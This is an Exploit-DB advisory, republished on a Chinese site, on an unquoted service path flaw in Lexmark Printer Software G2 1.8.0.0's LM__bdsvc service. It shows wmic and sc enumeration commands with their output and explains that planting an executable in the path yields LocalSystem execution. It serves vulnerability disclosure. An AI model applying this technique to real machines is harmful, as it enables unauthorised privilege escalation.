Lexmark Printer Software G2 Installation Package 1.8.0.0 – ‘LM__bdsvc’ Unquoted Service Path - 体验盒子

作者： Julio Aviña

日期： 2021-06-21

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/50045/

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# Exploit Title: Lexmark Printer Software G2 Installation Package 1.8.0.0 - 'LM__bdsvc' Unquoted Service Path

# Date: 2021-06-20

# Exploit Author: Julio Aviña

# Vendor Homepage: https://www.lexmark.com/

# Software Link: https://downloads.lexmark.com/downloads/drivers/Lexmark_Printer_Software_G2_Installation_Package_01292021.exe

# Version: 1.8.0.0

# Tested on: Windows 10 Pro x64 es

# Vulnerability Type: Unquoted Service Path

# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%LM__bdsvc%"' get displayname, pathname, startmode, startname

DisplayName PathName StartModeStartName

Lexmark Communication SystemC:\Program Files\Lexmark\Bidi\LM__bdsvc.exeAuto LocalSystem

# 2. To check service info:

C:\>sc qc "LM__bdsvc"

[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: LM__bdsvc

TIPO : 110WIN32_OWN_PROCESS (interactive)

TIPO_INICIO: 2 AUTO_START

CONTROL_ERROR: 1 NORMAL

NOMBRE_RUTA_BINARIO: C:\Program Files\Lexmark\Bidi\LM__bdsvc.exe

GRUPO_ORDEN_CARGA:

ETIQUETA : 0

NOMBRE_MOSTRAR : Lexmark Communication System

DEPENDENCIAS :

NOMBRE_INICIO_SERVICIO: LocalSystem

# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.

When restarting the service or the system, the inserted executable will run with elevated privileges.